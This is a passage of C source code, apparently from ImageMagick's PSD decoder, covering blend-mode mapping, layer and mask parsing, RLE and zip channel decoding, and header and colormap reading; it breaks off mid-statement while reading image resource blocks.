return(OverCompositeOp); if (LocaleNCompare(mode,"mul ",4) == 0) return(MultiplyCompositeOp); if (LocaleNCompare(mode,"diss",4) == 0) return(DissolveCompositeOp); if (LocaleNCompare(mode,"diff",4) == 0) return(DifferenceCompositeOp); if (LocaleNCompare(mode,"dark",4) == 0) return(DarkenCompositeOp); if (LocaleNCompare(mode,"lite",4) == 0) return(LightenCompositeOp); if (LocaleNCompare(mode,"hue ",4) == 0) return(HueCompositeOp); if (LocaleNCompare(mode,"sat ",4) == 0) return(SaturateCompositeOp); if (LocaleNCompare(mode,"colr",4) == 0) return(ColorizeCompositeOp); if (LocaleNCompare(mode,"lum ",4) == 0) return(LuminizeCompositeOp); if (LocaleNCompare(mode,"scrn",4) == 0) return(ScreenCompositeOp); if (LocaleNCompare(mode,"over",4) == 0) return(OverlayCompositeOp); if (LocaleNCompare(mode,"hLit",4) == 0) return(HardLightCompositeOp); if (LocaleNCompare(mode,"sLit",4) == 0) return(SoftLightCompositeOp); if (LocaleNCompare(mode,"smud",4) == 0) return(ExclusionCompositeOp); if (LocaleNCompare(mode,"div ",4) == 0) return(ColorDodgeCompositeOp); if (LocaleNCompare(mode,"idiv",4) == 0) return(ColorBurnCompositeOp); if (LocaleNCompare(mode,"lbrn",4) == 0) return(LinearBurnCompositeOp); if (LocaleNCompare(mode,"lddg",4) == 0) return(LinearDodgeCompositeOp); if (LocaleNCompare(mode,"lLit",4) == 0) return(LinearLightCompositeOp); if (LocaleNCompare(mode,"vLit",4) == 0) return(VividLightCompositeOp); if (LocaleNCompare(mode,"pLit",4) == 0) return(PinLightCompositeOp); if (LocaleNCompare(mode,"hMix",4) == 0) return(HardMixCompositeOp); return(OverCompositeOp); } static inline void ReversePSDString(Image *image,char *p,size_t length) { char *q; if (image->endian == MSBEndian) return; q=p+length; for(--q; p < q; ++p, --q) { *p = *p ^ *q, *q = *p ^ *q, *p = *p ^ *q; } } static inline void SetPSDPixel(Image *image,const size_t channels, const ssize_t type,const size_t packet_size,const Quantum pixel,Quantum *q, ExceptionInfo *exception) { if (image->storage_class == PseudoClass) { if (packet_size == 1) SetPixelIndex(image,ScaleQuantumToChar(pixel),q); else SetPixelIndex(image,ScaleQuantumToShort(pixel),q); SetPixelViaPixelInfo(image,image->colormap+(ssize_t) ConstrainColormapIndex(image,GetPixelIndex(image,q),exception),q); return; } switch (type) { case -1: { SetPixelAlpha(image, pixel,q); break; } case -2: case 0: { SetPixelRed(image,pixel,q); if (channels == 1 || type == -2) SetPixelGray(image,pixel,q); break; } case 1: { if (image->storage_class == PseudoClass) SetPixelAlpha(image,pixel,q); else SetPixelGreen(image,pixel,q); break; } case 2: { if (image->storage_class == PseudoClass) SetPixelAlpha(image,pixel,q); else SetPixelBlue(image,pixel,q); break; } case 3: { if (image->colorspace == CMYKColorspace) SetPixelBlack(image,pixel,q); else if (image->alpha_trait != UndefinedPixelTrait) SetPixelAlpha(image,pixel,q); break; } case 4: { if ((IssRGBCompatibleColorspace(image->colorspace) != MagickFalse) && (channels > 3)) break; if (image->alpha_trait != UndefinedPixelTrait) SetPixelAlpha(image,pixel,q); break; } } } static MagickBooleanType ReadPSDChannelPixels(Image *image, const size_t channels,const size_t row,const ssize_t type, const unsigned char *pixels,ExceptionInfo *exception) { Quantum pixel; register const unsigned char *p; register Quantum *q; register ssize_t x; size_t packet_size; unsigned short nibble; p=pixels; q=GetAuthenticPixels(image,0,row,image->columns,1,exception); if (q == (Quantum *) NULL) return MagickFalse; packet_size=GetPSDPacketSize(image); for (x=0; x < (ssize_t) image->columns; x++) { if (packet_size == 1) pixel=ScaleCharToQuantum(*p++); else { p=PushShortPixel(MSBEndian,p,&nibble); pixel=ScaleShortToQuantum(nibble); } if (image->depth > 1) { SetPSDPixel(image,channels,type,packet_size,pixel,q,exception); q+=GetPixelChannels(image); } else { ssize_t bit, number_bits; number_bits=image->columns-x; if (number_bits > 8) number_bits=8; for (bit = 0; bit < number_bits; bit++) { SetPSDPixel(image,channels,type,packet_size,(((unsigned char) pixel) & (0x01 << (7-bit))) != 0 ? 0 : QuantumRange,q,exception); q+=GetPixelChannels(image); x++; } if (x != (ssize_t) image->columns) x--; continue; } } return(SyncAuthenticPixels(image,exception)); } static MagickBooleanType ReadPSDChannelRaw(Image *image,const size_t channels, const ssize_t type,ExceptionInfo *exception) { MagickBooleanType status; size_t count, row_size; ssize_t y; unsigned char *pixels; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is RAW"); row_size=GetPSDRowSize(image); pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=MagickTrue; for (y=0; y < (ssize_t) image->rows; y++) { status=MagickFalse; count=ReadBlob(image,row_size,pixels); if (count != row_size) break; status=ReadPSDChannelPixels(image,channels,y,type,pixels,exception); if (status == MagickFalse) break; } pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } static inline MagickOffsetType *ReadPSDRLESizes(Image *image, const PSDInfo *psd_info,const size_t size) { MagickOffsetType *sizes; ssize_t y; sizes=(MagickOffsetType *) AcquireQuantumMemory(size,sizeof(*sizes)); if(sizes != (MagickOffsetType *) NULL) { for (y=0; y < (ssize_t) size; y++) { if (psd_info->version == 1) sizes[y]=(MagickOffsetType) ReadBlobShort(image); else sizes[y]=(MagickOffsetType) ReadBlobLong(image); } } return sizes; } static MagickBooleanType ReadPSDChannelRLE(Image *image,const PSDInfo *psd_info, const ssize_t type,MagickOffsetType *sizes,ExceptionInfo *exception) { MagickBooleanType status; size_t length, row_size; ssize_t count, y; unsigned char *compact_pixels, *pixels; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is RLE compressed"); row_size=GetPSDRowSize(image); pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); length=0; for (y=0; y < (ssize_t) image->rows; y++) if ((MagickOffsetType) length < sizes[y]) length=(size_t) sizes[y]; if (length > row_size + 256) // arbitrary number { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowBinaryException(ResourceLimitError,"InvalidLength",image->filename); } compact_pixels=(unsigned char *) AcquireQuantumMemory(length,sizeof(*pixels)); if (compact_pixels == (unsigned char *) NULL) { pixels=(unsigned char *) RelinquishMagickMemory(pixels); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } (void) ResetMagickMemory(compact_pixels,0,length*sizeof(*compact_pixels)); status=MagickTrue; for (y=0; y < (ssize_t) image->rows; y++) { status=MagickFalse; count=ReadBlob(image,(size_t) sizes[y],compact_pixels); if (count != (ssize_t) sizes[y]) break; count=DecodePSDPixels((size_t) sizes[y],compact_pixels, (ssize_t) (image->depth == 1 ? 123456 : image->depth),row_size,pixels); if (count != (ssize_t) row_size) break; status=ReadPSDChannelPixels(image,psd_info->channels,y,type,pixels, exception); if (status == MagickFalse) break; } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } #ifdef MAGICKCORE_ZLIB_DELEGATE static MagickBooleanType ReadPSDChannelZip(Image *image,const size_t channels, const ssize_t type,const PSDCompressionType compression, const size_t compact_size,ExceptionInfo *exception) { MagickBooleanType status; register unsigned char *p; size_t count, length, packet_size, row_size; ssize_t y; unsigned char *compact_pixels, *pixels; z_stream stream; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is ZIP compressed"); compact_pixels=(unsigned char *) AcquireQuantumMemory(compact_size, sizeof(*compact_pixels)); if (compact_pixels == (unsigned char *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); packet_size=GetPSDPacketSize(image); row_size=image->columns*packet_size; count=image->rows*row_size; pixels=(unsigned char *) AcquireQuantumMemory(count,sizeof(*pixels)); if (pixels == (unsigned char *) NULL) { compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } ResetMagickMemory(&stream,0,sizeof(stream)); stream.data_type=Z_BINARY; (void) ReadBlob(image,compact_size,compact_pixels); stream.next_in=(Bytef *)compact_pixels; stream.avail_in=(uInt) compact_size; stream.next_out=(Bytef *)pixels; stream.avail_out=(uInt) count; if (inflateInit(&stream) == Z_OK) { int ret; while (stream.avail_out > 0) { ret=inflate(&stream,Z_SYNC_FLUSH); if ((ret != Z_OK) && (ret != Z_STREAM_END)) { compact_pixels=(unsigned char *) RelinquishMagickMemory( compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(MagickFalse); } } } if (compression == ZipWithPrediction) { p=pixels; while (count > 0) { length=image->columns; while (--length) { if (packet_size == 2) { p[2]+=p[0]+((p[1]+p[3]) >> 8); p[3]+=p[1]; } else *(p+1)+=*p; p+=packet_size; } p+=packet_size; count-=row_size; } } status=MagickTrue; p=pixels; for (y=0; y < (ssize_t) image->rows; y++) { status=ReadPSDChannelPixels(image,channels,y,type,p,exception); if (status == MagickFalse) break; p+=row_size; } compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels); pixels=(unsigned char *) RelinquishMagickMemory(pixels); return(status); } #endif static MagickBooleanType ReadPSDChannel(Image *image, const ImageInfo *image_info,const PSDInfo *psd_info,LayerInfo* layer_info, const size_t channel,const PSDCompressionType compression, ExceptionInfo *exception) { Image *channel_image, *mask; MagickOffsetType offset; MagickBooleanType status; channel_image=image; mask=(Image *) NULL; if (layer_info->channel_info[channel].type < -1) { const char *option; /* Ignore mask that is not a user supplied layer mask, if the mask is disabled or if the flags have unsupported values. */ option=GetImageOption(image_info,"psd:preserve-opacity-mask"); if ((layer_info->channel_info[channel].type != -2) || (layer_info->mask.flags > 2) || ((layer_info->mask.flags & 0x02) && (IsStringTrue(option) == MagickFalse))) { SeekBlob(image,layer_info->channel_info[channel].size-2,SEEK_CUR); return(MagickTrue); } mask=CloneImage(image,layer_info->mask.page.width, layer_info->mask.page.height,MagickFalse,exception); SetImageType(mask,GrayscaleType,exception); channel_image=mask; } offset=TellBlob(image); status=MagickTrue; switch(compression) { case Raw: status=ReadPSDChannelRaw(channel_image,psd_info->channels, layer_info->channel_info[channel].type,exception); break; case RLE: { MagickOffsetType *sizes; sizes=ReadPSDRLESizes(channel_image,psd_info,channel_image->rows); if (sizes == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=ReadPSDChannelRLE(channel_image,psd_info, layer_info->channel_info[channel].type,sizes,exception); sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes); } break; case ZipWithPrediction: case ZipWithoutPrediction: #ifdef MAGICKCORE_ZLIB_DELEGATE status=ReadPSDChannelZip(channel_image,layer_info->channels, layer_info->channel_info[channel].type,compression, layer_info->channel_info[channel].size-2,exception); #else (void) ThrowMagickException(exception,GetMagickModule(), MissingDelegateWarning,"DelegateLibrarySupportNotBuiltIn", "'%s' (ZLIB)",image->filename); #endif break; default: (void) ThrowMagickException(exception,GetMagickModule(),TypeWarning, "CompressionNotSupported","'%.20g'",(double) compression); break; } SeekBlob(image,offset+layer_info->channel_info[channel].size-2,SEEK_SET); if (status == MagickFalse) { if (mask != (Image *) NULL) DestroyImage(mask); ThrowBinaryException(CoderError,"UnableToDecompressImage", image->filename); } layer_info->mask.image=mask; return(status); } static MagickBooleanType ReadPSDLayer(Image *image,const ImageInfo *image_info, const PSDInfo *psd_info,LayerInfo* layer_info,ExceptionInfo *exception) { char message[MagickPathExtent]; MagickBooleanType status; PSDCompressionType compression; ssize_t j; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " setting up new layer image"); if (psd_info->mode != IndexedMode) (void) SetImageBackgroundColor(layer_info->image,exception); layer_info->image->compose=PSDBlendModeToCompositeOperator( layer_info->blendkey); if (layer_info->visible == MagickFalse) layer_info->image->compose=NoCompositeOp; if (psd_info->mode == CMYKMode) SetImageColorspace(layer_info->image,CMYKColorspace,exception); else if ((psd_info->mode == BitmapMode) || (psd_info->mode == DuotoneMode) || (psd_info->mode == GrayscaleMode)) SetImageColorspace(layer_info->image,GRAYColorspace,exception); /* Set up some hidden attributes for folks that need them. */ (void) FormatLocaleString(message,MagickPathExtent,"%.20g", (double) layer_info->page.x); (void) SetImageArtifact(layer_info->image,"psd:layer.x",message); (void) FormatLocaleString(message,MagickPathExtent,"%.20g", (double) layer_info->page.y); (void) SetImageArtifact(layer_info->image,"psd:layer.y",message); (void) FormatLocaleString(message,MagickPathExtent,"%.20g",(double) layer_info->opacity); (void) SetImageArtifact(layer_info->image,"psd:layer.opacity",message); (void) SetImageProperty(layer_info->image,"label",(char *) layer_info->name, exception); status=MagickTrue; for (j=0; j < (ssize_t) layer_info->channels; j++) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading data for channel %.20g",(double) j); compression=(PSDCompressionType) ReadBlobShort(layer_info->image); layer_info->image->compression=ConvertPSDCompression(compression); if (layer_info->channel_info[j].type == -1) layer_info->image->alpha_trait=BlendPixelTrait; status=ReadPSDChannel(layer_info->image,image_info,psd_info,layer_info,j, compression,exception); if (status == MagickFalse) break; } if (status != MagickFalse) status=ApplyPSDLayerOpacity(layer_info->image,layer_info->opacity, MagickFalse,exception); if ((status != MagickFalse) && (layer_info->image->colorspace == CMYKColorspace)) status=NegateCMYK(layer_info->image,exception); if ((status != MagickFalse) && (layer_info->mask.image != (Image *) NULL)) { const char *option; layer_info->mask.image->page.x=layer_info->mask.page.x; layer_info->mask.image->page.y=layer_info->mask.page.y; /* Do not composite the mask when it is disabled */ if ((layer_info->mask.flags & 0x02) == 0x02) layer_info->mask.image->compose=NoCompositeOp; else status=ApplyPSDOpacityMask(layer_info->image,layer_info->mask.image, layer_info->mask.background == 0 ? 0 : QuantumRange,MagickFalse, exception); option=GetImageOption(image_info,"psd:preserve-opacity-mask"); if (IsStringTrue(option) != MagickFalse) PreservePSDOpacityMask(image,layer_info,exception); layer_info->mask.image=DestroyImage(layer_info->mask.image); } return(status); } ModuleExport MagickBooleanType ReadPSDLayers(Image *image, const ImageInfo *image_info,const PSDInfo *psd_info, const MagickBooleanType skip_layers,ExceptionInfo *exception) { char type[4]; LayerInfo *layer_info; MagickSizeType size; MagickBooleanType status; register ssize_t i; ssize_t count, j, number_layers; size=GetPSDSize(psd_info,image); if (size == 0) { /* Skip layers & masks. */ (void) ReadBlobLong(image); count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); status=MagickFalse; if ((count == 0) || (LocaleNCompare(type,"8BIM",4) != 0)) return(MagickTrue); else { count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); if ((count != 0) && (LocaleNCompare(type,"Lr16",4) == 0)) size=GetPSDSize(psd_info,image); else return(MagickTrue); } } status=MagickTrue; if (size != 0) { layer_info=(LayerInfo *) NULL; number_layers=(short) ReadBlobShort(image); if (number_layers < 0) { /* The first alpha channel in the merged result contains the transparency data for the merged result. */ number_layers=MagickAbsoluteValue(number_layers); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " negative layer count corrected for"); image->alpha_trait=BlendPixelTrait; } /* We only need to know if the image has an alpha channel */ if (skip_layers != MagickFalse) return(MagickTrue); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " image contains %.20g layers",(double) number_layers); if (number_layers == 0) ThrowBinaryException(CorruptImageError,"InvalidNumberOfLayers", image->filename); layer_info=(LayerInfo *) AcquireQuantumMemory((size_t) number_layers, sizeof(*layer_info)); if (layer_info == (LayerInfo *) NULL) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " allocation of LayerInfo failed"); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } (void) ResetMagickMemory(layer_info,0,(size_t) number_layers* sizeof(*layer_info)); for (i=0; i < number_layers; i++) { ssize_t x, y; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading layer #%.20g",(double) i+1); layer_info[i].page.y=ReadBlobSignedLong(image); layer_info[i].page.x=ReadBlobSignedLong(image); y=ReadBlobSignedLong(image); x=ReadBlobSignedLong(image); layer_info[i].page.width=(size_t) (x-layer_info[i].page.x); layer_info[i].page.height=(size_t) (y-layer_info[i].page.y); layer_info[i].channels=ReadBlobShort(image); if (layer_info[i].channels > MaxPSDChannels) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"MaximumChannelsExceeded", image->filename); } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " offset(%.20g,%.20g), size(%.20g,%.20g), channels=%.20g", (double) layer_info[i].page.x,(double) layer_info[i].page.y, (double) layer_info[i].page.height,(double) layer_info[i].page.width,(double) layer_info[i].channels); for (j=0; j < (ssize_t) layer_info[i].channels; j++) { layer_info[i].channel_info[j].type=(short) ReadBlobShort(image); layer_info[i].channel_info[j].size=(size_t) GetPSDSize(psd_info, image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " channel[%.20g]: type=%.20g, size=%.20g",(double) j, (double) layer_info[i].channel_info[j].type, (double) layer_info[i].channel_info[j].size); } count=ReadBlob(image,4,(unsigned char *) type); ReversePSDString(image,type,4); if ((count == 0) || (LocaleNCompare(type,"8BIM",4) != 0)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer type was %.4s instead of 8BIM", type); layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError,"ImproperImageHeader", image->filename); } count=ReadBlob(image,4,(unsigned char *) layer_info[i].blendkey); ReversePSDString(image,layer_info[i].blendkey,4); layer_info[i].opacity=(Quantum) ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); layer_info[i].clipping=(unsigned char) ReadBlobByte(image); layer_info[i].flags=(unsigned char) ReadBlobByte(image); layer_info[i].visible=!(layer_info[i].flags & 0x02); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " blend=%.4s, opacity=%.20g, clipping=%s, flags=%d, visible=%s", layer_info[i].blendkey,(double) layer_info[i].opacity, layer_info[i].clipping ? "true" : "false",layer_info[i].flags, layer_info[i].visible ? "true" : "false"); (void) ReadBlobByte(image); /* filler */ size=ReadBlobLong(image); if (size != 0) { MagickSizeType combined_length, length; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer contains additional info"); length=ReadBlobLong(image); combined_length=length+4; if (length != 0) { /* Layer mask info. */ layer_info[i].mask.page.y=ReadBlobSignedLong(image); layer_info[i].mask.page.x=ReadBlobSignedLong(image); layer_info[i].mask.page.height=(size_t) (ReadBlobLong(image)- layer_info[i].mask.page.y); layer_info[i].mask.page.width=(size_t) (ReadBlobLong(image)- layer_info[i].mask.page.x); layer_info[i].mask.background=(unsigned char) ReadBlobByte( image); layer_info[i].mask.flags=(unsigned char) ReadBlobByte(image); if (!(layer_info[i].mask.flags & 0x01)) { layer_info[i].mask.page.y=layer_info[i].mask.page.y- layer_info[i].page.y; layer_info[i].mask.page.x=layer_info[i].mask.page.x- layer_info[i].page.x; } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer mask: offset(%.20g,%.20g), size(%.20g,%.20g), length=%.20g", (double) layer_info[i].mask.page.x,(double) layer_info[i].mask.page.y,(double) layer_info[i].mask.page.width, (double) layer_info[i].mask.page.height,(double) ((MagickOffsetType) length)-18); /* Skip over the rest of the layer mask information. */ if (DiscardBlobBytes(image,(MagickSizeType) (length-18)) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } length=ReadBlobLong(image); combined_length+=length+4; if (length != 0) { /* Layer blending ranges info. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer blending ranges: length=%.20g",(double) ((MagickOffsetType) length)); /* We read it, but don't use it... */ for (j=0; j < (ssize_t) length; j+=8) { size_t blend_source=ReadBlobLong(image); size_t blend_dest=ReadBlobLong(image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " source(%x), dest(%x)",(unsigned int) blend_source,(unsigned int) blend_dest); } } /* Layer name. */ length=(MagickSizeType) (unsigned char) ReadBlobByte(image); combined_length+=length+1; if (length > 0) (void) ReadBlob(image,(size_t) length++,layer_info[i].name); layer_info[i].name[length]='\0'; if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer name: %s",layer_info[i].name); if ((length % 4) != 0) { length=4-(length % 4); combined_length+=length; /* Skip over the padding of the layer name */ if (DiscardBlobBytes(image,length) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } length=(MagickSizeType) size-combined_length; if (length > 0) { unsigned char *info; layer_info[i].info=AcquireStringInfo((const size_t) length); info=GetStringInfoDatum(layer_info[i].info); (void) ReadBlob(image,(const size_t) length,info); } } } for (i=0; i < number_layers; i++) { if ((layer_info[i].page.width == 0) || (layer_info[i].page.height == 0)) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " layer data is empty"); if (layer_info[i].info != (StringInfo *) NULL) layer_info[i].info=DestroyStringInfo(layer_info[i].info); continue; } /* Allocate layered image. */ layer_info[i].image=CloneImage(image,layer_info[i].page.width, layer_info[i].page.height,MagickFalse,exception); if (layer_info[i].image == (Image *) NULL) { layer_info=DestroyLayerInfo(layer_info,number_layers); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " allocation of image for layer %.20g failed",(double) i); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } if (layer_info[i].info != (StringInfo *) NULL) { (void) SetImageProfile(layer_info[i].image,"psd:additional-info", layer_info[i].info,exception); layer_info[i].info=DestroyStringInfo(layer_info[i].info); } } if (image_info->ping == MagickFalse) { for (i=0; i < number_layers; i++) { if (layer_info[i].image == (Image *) NULL) { for (j=0; j < layer_info[i].channels; j++) { if (DiscardBlobBytes(image,(MagickSizeType) layer_info[i].channel_info[j].size) == MagickFalse) { layer_info=DestroyLayerInfo(layer_info,number_layers); ThrowBinaryException(CorruptImageError, "UnexpectedEndOfFile",image->filename); } } continue; } if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading data for layer %.20g",(double) i); status=ReadPSDLayer(image,image_info,psd_info,&layer_info[i], exception); if (status == MagickFalse) break; status=SetImageProgress(image,LoadImagesTag,i,(MagickSizeType) number_layers); if (status == MagickFalse) break; } } if (status != MagickFalse) { for (i=0; i < number_layers; i++) { if (layer_info[i].image == (Image *) NULL) { for (j=i; j < number_layers - 1; j++) layer_info[j] = layer_info[j+1]; number_layers--; i--; } } if (number_layers > 0) { for (i=0; i < number_layers; i++) { if (i > 0) layer_info[i].image->previous=layer_info[i-1].image; if (i < (number_layers-1)) layer_info[i].image->next=layer_info[i+1].image; layer_info[i].image->page=layer_info[i].page; } image->next=layer_info[0].image; layer_info[0].image->previous=image; } layer_info=(LayerInfo *) RelinquishMagickMemory(layer_info); } else layer_info=DestroyLayerInfo(layer_info,number_layers); } return(status); } static MagickBooleanType ReadPSDMergedImage(const ImageInfo *image_info, Image *image,const PSDInfo *psd_info,ExceptionInfo *exception) { MagickOffsetType *sizes; MagickBooleanType status; PSDCompressionType compression; register ssize_t i; compression=(PSDCompressionType) ReadBlobMSBShort(image); image->compression=ConvertPSDCompression(compression); if (compression != Raw && compression != RLE) { (void) ThrowMagickException(exception,GetMagickModule(), TypeWarning,"CompressionNotSupported","'%.20g'",(double) compression); return(MagickFalse); } sizes=(MagickOffsetType *) NULL; if (compression == RLE) { sizes=ReadPSDRLESizes(image,psd_info,image->rows*psd_info->channels); if (sizes == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } status=MagickTrue; for (i=0; i < (ssize_t) psd_info->channels; i++) { if (compression == RLE) status=ReadPSDChannelRLE(image,psd_info,i,sizes+(i*image->rows), exception); else status=ReadPSDChannelRaw(image,psd_info->channels,i,exception); if (status != MagickFalse) status=SetImageProgress(image,LoadImagesTag,i,psd_info->channels); if (status == MagickFalse) break; } if ((status != MagickFalse) && (image->colorspace == CMYKColorspace)) status=NegateCMYK(image,exception); if (status != MagickFalse) status=CorrectPSDAlphaBlend(image_info,image,exception); sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes); return(status); } static Image *ReadPSDImage(const ImageInfo *image_info,ExceptionInfo *exception) { Image *image; MagickBooleanType has_merged_image, skip_layers; MagickOffsetType offset; MagickSizeType length; MagickBooleanType status; PSDInfo psd_info; register ssize_t i; ssize_t count; unsigned char *data; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickCoreSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickCoreSignature); image=AcquireImage(image_info,exception); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read image header. */ image->endian=MSBEndian; count=ReadBlob(image,4,(unsigned char *) psd_info.signature); psd_info.version=ReadBlobMSBShort(image); if ((count == 0) || (LocaleNCompare(psd_info.signature,"8BPS",4) != 0) || ((psd_info.version != 1) && (psd_info.version != 2))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); (void) ReadBlob(image,6,psd_info.reserved); psd_info.channels=ReadBlobMSBShort(image); if (psd_info.channels > MaxPSDChannels) ThrowReaderException(CorruptImageError,"MaximumChannelsExceeded"); psd_info.rows=ReadBlobMSBLong(image); psd_info.columns=ReadBlobMSBLong(image); if ((psd_info.version == 1) && ((psd_info.rows > 30000) || (psd_info.columns > 30000))) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); psd_info.depth=ReadBlobMSBShort(image); if ((psd_info.depth != 1) && (psd_info.depth != 8) && (psd_info.depth != 16)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); psd_info.mode=ReadBlobMSBShort(image); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image is %.20g x %.20g with channels=%.20g, depth=%.20g, mode=%s", (double) psd_info.columns,(double) psd_info.rows,(double) psd_info.channels,(double) psd_info.depth,ModeToString((PSDImageType) psd_info.mode)); /* Initialize image. */ image->depth=psd_info.depth; image->columns=psd_info.columns; image->rows=psd_info.rows; status=SetImageExtent(image,image->columns,image->rows,exception); if (status == MagickFalse) return(DestroyImageList(image)); if (SetImageBackgroundColor(image,exception) == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } if (psd_info.mode == LabMode) SetImageColorspace(image,LabColorspace,exception); if (psd_info.mode == CMYKMode) { SetImageColorspace(image,CMYKColorspace,exception); if (psd_info.channels > 4) SetImageAlphaChannel(image,ActivateAlphaChannel,exception); } else if ((psd_info.mode == BitmapMode) || (psd_info.mode == GrayscaleMode) || (psd_info.mode == DuotoneMode)) { status=AcquireImageColormap(image,psd_info.depth != 16 ? 256 : 65536, exception); if (status == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Image colormap allocated"); SetImageColorspace(image,GRAYColorspace,exception); if (psd_info.channels > 1) SetImageAlphaChannel(image,ActivateAlphaChannel,exception); } else if (psd_info.channels > 3) SetImageAlphaChannel(image,ActivateAlphaChannel,exception); /* Read PSD raster colormap only present for indexed and duotone images. */ length=ReadBlobMSBLong(image); if (length != 0) { if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading colormap"); if (psd_info.mode == DuotoneMode) { /* Duotone image data; the format of this data is undocumented. */ data=(unsigned char *) AcquireQuantumMemory((size_t) length, sizeof(*data)); if (data == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); (void) ReadBlob(image,(size_t) length,data); data=(unsigned char *) RelinquishMagickMemory(data); } else { size_t number_colors; /* Read PSD raster colormap. */ number_colors=length/3; if (number_colors > 65536) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if (AcquireImageColormap(image,number_colors,exception) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].red=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].green=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); for (i=0; i < (ssize_t) image->colors; i++) image->colormap[i].blue=ScaleCharToQuantum((unsigned char) ReadBlobByte(image)); image->alpha_trait=UndefinedPixelTrait; } } if ((image->depth == 1) && (image->storage_class != PseudoClass)) ThrowReaderException(CorruptImageError, "ImproperImageHeader"); has_merged_image=MagickTrue; length=ReadBlobMSBLong(image); if (length != 0) { unsigned char *blocks; /* Image resources block. */ if (image->debug != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " reading image resource blocks - %.20g bytes",(double) ((MagickOffsetType) length)); blocks=(unsigned char *) AcquireQuantumMemory((size_t) length, sizeof(*blocks)); if (blocks == (unsigned char *) NULL) 